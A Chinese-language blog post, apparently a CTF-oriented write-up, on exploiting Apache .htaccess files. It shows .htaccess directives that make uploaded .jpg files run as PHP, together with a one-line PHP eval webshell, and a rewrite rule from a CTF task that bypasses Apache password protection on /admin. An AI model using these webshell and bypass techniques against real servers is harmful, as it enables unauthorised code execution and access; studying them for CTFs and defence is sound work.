原文 https://skysec.top/2017/09/06/有趣的-htaccess/

.htaccess功能开启条件

  1. mod_rewrite模块开启
  2. AllowOverride All

.htaccess功能开启方法

在apache下http.conf改配置:

  1. 将工作目录下的AllowOverride None 改为AllowOverride All。
  2. 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可

.htaccess注意点

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,
但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,
所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

.htaccess在upload中的利用

法一

.htaccess文件内容:

  1. <FilesMatch "sky233">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

上传小马文件名:sky233.jpg(后缀任意,找一个没被过滤的,不写应该也可以)

  1. <?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

法二

.htaccess文件内容:

  1. AddType application/x-httpd-php .jpg

(后缀名按你想要的来,我这里使用.jpg)
上传小马文件名:sky233.jpg(后缀和前面的匹配)

  1. <?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

.htaccess在重定向中的利用

一些语法介绍

  1. RewriteCond %{REQUEST_FILENAME} !-d

如果不是目录,才会执行下一条RewriteRule

  1. RewriteCond %{REQUEST_FILENAME} !-f

如果不是文件,才会执行下一条RewriteRule

Tokyo Westerns / MMA CTF 2nd 2016应用

题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe)

只有.htaccess重定向绕过的方法可行

  1. RewriteCond %{REQUEST_FILENAME} !-f
  2. RewriteRule ^ index.php [QSA,L]

然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
注:

  1. RewriteRule ^ index.php [QSA,L]

标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;

后记

这玩意儿还是有点意思的,第一次还是在xman选拔赛中遇到,当时根本没想到是这个……也算长见识了